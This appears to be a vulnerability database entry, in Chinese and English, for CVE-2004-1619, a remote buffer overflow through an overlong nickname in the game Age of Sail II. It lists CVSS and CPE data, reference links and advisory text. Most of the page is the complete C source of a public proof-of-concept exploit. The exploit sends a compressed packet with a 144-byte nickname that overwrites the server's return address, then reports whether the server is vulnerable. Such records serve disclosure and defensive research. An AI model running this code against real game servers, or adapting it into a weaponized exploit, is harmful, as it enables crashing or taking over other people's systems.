CVE-2004-1619
CVSS7.5
发布时间 :2004-10-20 00:00:00
修订时间 :2016-10-17 22:57:47
NMCOE    

[原文]Buffer overflow in Privateer's Bounty: Age of Sail II allows remote attackers to execute arbitrary code via a long nickname.


[CNNVD]Akella Privateer's Bounty: Age of Sail II远程缓冲区溢出漏洞(CNNVD-200410-052)

        Privateer's Bounty: Age of Sail II存在缓冲区溢出漏洞。远程攻击者借助超长昵称执行任意代码。

- CVSS (基础分值)

CVSS分值: 7.5 [严重(HIGH)]
机密性影响: [--]
完整性影响: [--]
可用性影响: [--]
攻击复杂度: [--]
攻击向量: [--]
身份认证: [--]

- CPE (受影响的平台与产品)

cpe:/a:akella:privateers_bounty_age_of_sail_ii:1.4.51
cpe:/a:akella:privateers_bounty_age_of_sail_ii:1.55
cpe:/a:akella:privateers_bounty_age_of_sail_ii:1.56

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1619
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2004-1619
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200410-052
(官方数据源) CNNVD

- 其它链接及资源

http://marc.info/?l=bugtraq&m=109829017407842&w=2
(UNKNOWN)  BUGTRAQ  20041020 Buffer-overflow in Age of Sail II 1.04.151
http://www.securityfocus.com/bid/11479
(VENDOR_ADVISORY)  BID  11479
http://xforce.iss.net/xforce/xfdb/17791
(VENDOR_ADVISORY)  XF  age-of-sail-bo(17791)

- 漏洞信息

Akella Privateer's Bounty: Age of Sail II远程缓冲区溢出漏洞
高危 缓冲区溢出
2004-10-20 00:00:00 2005-10-20 00:00:00
远程  
        Privateer's Bounty: Age of Sail II存在缓冲区溢出漏洞。远程攻击者借助超长昵称执行任意代码。

- 公告与补丁

        Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: vuldb@securityfocus.com .

- 漏洞信息 (604)

Age of Sail II <= 1.04.151 Remote Buffer Overflow Exploit (EDBID:604)
windows dos
2004-03-03 Verified
0 Luigi Auriemma
N/A [点击下载]
/*

by Luigi Auriemma

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <zlib.h>

#ifdef WIN32
    #include <winsock.h>
#include <string.h>
#include <errno.h>



void std_err(void) {
    char    *error;

    switch(WSAGetLastError()) {
        case 10004: error = "Interrupted system call"; break;
        case 10009: error = "Bad file number"; break;
        case 10013: error = "Permission denied"; break;
        case 10014: error = "Bad address"; break;
        case 10022: error = "Invalid argument (not bind)"; break;
        case 10024: error = "Too many open files"; break;
        case 10035: error = "Operation would block"; break;
        case 10036: error = "Operation now in progress"; break;
        case 10037: error = "Operation already in progress"; break;
        case 10038: error = "Socket operation on non-socket"; break;
        case 10039: error = "Destination address required"; break;
        case 10040: error = "Message too long"; break;
        case 10041: error = "Protocol wrong type for socket"; break;
        case 10042: error = "Bad protocol option"; break;
        case 10043: error = "Protocol not supported"; break;
        case 10044: error = "Socket type not supported"; break;
        case 10045: error = "Operation not supported on socket"; break;
        case 10046: error = "Protocol family not supported"; break;
        case 10047: error = "Address family not supported by protocol family"; break;
        case 10048: error = "Address already in use"; break;
        case 10049: error = "Can't assign requested address"; break;
        case 10050: error = "Network is down"; break;
        case 10051: error = "Network is unreachable"; break;
        case 10052: error = "Net dropped connection or reset"; break;
        case 10053: error = "Software caused connection abort"; break;
        case 10054: error = "Connection reset by peer"; break;
        case 10055: error = "No buffer space available"; break;
        case 10056: error = "Socket is already connected"; break;
        case 10057: error = "Socket is not connected"; break;
        case 10058: error = "Can't send after socket shutdown"; break;
        case 10059: error = "Too many references, can't splice"; break;
        case 10060: error = "Connection timed out"; break;
        case 10061: error = "Connection refused"; break;
        case 10062: error = "Too many levels of symbolic links"; break;
        case 10063: error = "File name too long"; break;
        case 10064: error = "Host is down"; break;
        case 10065: error = "No Route to Host"; break;
        case 10066: error = "Directory not empty"; break;
        case 10067: error = "Too many processes"; break;
        case 10068: error = "Too many users"; break;
        case 10069: error = "Disc Quota Exceeded"; break;
        case 10070: error = "Stale NFS file handle"; break;
        case 10091: error = "Network SubSystem is unavailable"; break;
        case 10092: error = "WINSOCK DLL Version out of range"; break;
        case 10093: error = "Successful WSASTARTUP not yet performed"; break;
        case 10071: error = "Too many levels of remote in path"; break;
        case 11001: error = "Host not found"; break;
        case 11002: error = "Non-Authoritative Host not found"; break;
        case 11003: error = "Non-Recoverable errors: FORMERR, REFUSED, NOTIMP"; break;
        case 11004: error = "Valid name, no data record of requested type"; break;
        default: error = strerror(errno); break;
    }
    fprintf(stderr, "\nError: %s\n", error);
    exit(1);
}




    #define close   closesocket
#else
    #include <unistd.h>
    #include <sys/socket.h>
    #include <sys/types.h>
    #include <arpa/inet.h>
    #include <netinet/in.h>
    #include <netdb.h>
#endif



#define VER     "0.1"
#define PORT    7732
#define BUFFSZ  2048
#define NICKSZ  144
#define RET     0xdeadc0de
#define TIMEOUT 3



int zip_it(u_char *in, int size, u_char *out, int maxsz);
int timeout(int sock);
u_long resolv(char *host);
void std_err(void);



int main(int argc, char *argv[]) {
    struct      sockaddr_in peer;
    int         sd,
                len;
    u_short     port = PORT;
    u_char      buff[BUFFSZ],
                pck[BUFFSZ];


    setbuf(stdout, NULL);

    fputs("\n"
        "Age of Sail II <= 1.04.151 server buffer overflow "VER"\n"
        "by Luigi Auriemma\n"
        "e-mail: aluigi@altervista.org\n"
        "web:    http://aluigi.altervista.org\n"
        "\n", stdout);

    if(argc < 2) {
        printf("\n"
            "Usage: %s <host> [port(%d)]\n"
            "\n"
            " Return address will be overwritten with 0x%08x\n"
            "\n", argv[0], port, RET);
        exit(1);
    }

#ifdef WIN32
    WSADATA    wsadata;
    WSAStartup(MAKEWORD(1,0), &wsadata);
#endif

    if(argc > 2) port = atoi(argv[2]);

    peer.sin_addr.s_addr = resolv(argv[1]);
    peer.sin_port        = htons(port);
    peer.sin_family      = AF_INET;

    sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    if(sd < 0) std_err();

    printf("\n"
        "- connect to %s:%hu...",
        inet_ntoa(peer.sin_addr), port);
    if(connect(sd, (struct sockaddr *)&peer, sizeof(peer))
      < 0) std_err();
    fputs("ok\n\n", stdout);

    memset(pck, 0x00, BUFFSZ);                      // needed
    *(u_short *)(pck + 4) = 2;                      // dunno (?)
    *(u_short *)(pck + 6) = NICKSZ;                 // nickname size
    memset(pck + 8, 'a', NICKSZ);                   // nickname
    *(u_long *)(pck + 8 + NICKSZ - 4) = RET;        // return address
    *(u_long *)(pck + NICKSZ + 44) = 0xffffffff;    // dunno (?)
    *(u_long *)(pck + NICKSZ + 50) = 0x02060123;    // client version
    len = 8 + NICKSZ + 36 + 6 + 4;
    *(u_short *)(pck + 2) = len - 4;                // size - 4

    len = zip_it(pck, len, buff + 4, BUFFSZ - 4) + 4;
    *(u_long *)buff = len;
    printf("- send buffer-overflow data, return address will be overwritten with 0x%08x\n", RET);
    if(send(sd, buff, len, 0)
      < 0) std_err();

    fputs("- check if server is vulnerable:\n", stdout);
    if((timeout(sd) < 0) || (recv(sd, buff, BUFFSZ, 0) <= 0)) {
        fputs("\nServer IS vulnerable!!!!!!!\n\n", stdout);
    } else {
        fputs("\nServer doesn't seem vulnerable\n\n", stdout);
    }

    close(sd);

    return(0);
}



int zip_it(u_char *in, int size, u_char *out, int maxsz) {
    z_stream        z;
    int             ret;

    z.zalloc = (alloc_func)0;
    z.zfree  = (free_func)0;
    z.opaque = (voidpf)0;

    if(deflateInit(&z, Z_BEST_COMPRESSION)) {
        fputs("\nError: zlib initialization error\n", stdout);
        exit(1);
    }

    z.next_in   = in;
    z.avail_in  = size;
    z.next_out  = out;
    z.avail_out = maxsz;
    deflate(&z, Z_FINISH);

    ret = z.total_out;
    deflateEnd(&z);
    return(ret);
}



int timeout(int sock) {
    struct  timeval tout;
    fd_set  fd_read;
    int     err;

    tout.tv_sec = TIMEOUT;
    tout.tv_usec = 0;
    FD_ZERO(&fd_read);
    FD_SET(sock, &fd_read);
    err = select(sock + 1, &fd_read, NULL, NULL, &tout);
    if(err < 0) std_err();
    if(!err) return(-1);
    return(0);
}



u_long resolv(char *host) {
    struct  hostent *hp;
    u_long  host_ip;

    host_ip = inet_addr(host);
    if(host_ip == INADDR_NONE) {
        hp = gethostbyname(host);
        if(!hp) {
            printf("\nError: Unable to resolve hostname (%s)\n", host);
            exit(1);
        } else host_ip = *(u_long *)(hp->h_addr);
    }
    return(host_ip);
}



#ifndef WIN32
    void std_err(void) {
        perror("\nError");
        exit(1);
    }
#endif

// milw0rm.com [2004-03-03]
		

- 漏洞信息

11007
Akella Age of Sail II Nickname Overflow
Remote / Network Access Input Manipulation
Loss of Integrity
Exploit Public

- 漏洞描述

A remote overflow exists in Age of Sail II. Age of Sail II fails to perform boundary checking of nicknames of clients joining the game server resulting in a buffer overflow. Using a nickname over 144 bytes, an attacker can remotely execute arbitrary code resulting in a loss of integrity.

- 时间线

2004-10-20 Unknow
2004-10-20 Unknow

- 解决方案

Currently, there are no known upgrades, patches, or workarounds available to correct this issue.

- 相关参考

- 漏洞作者

 

 

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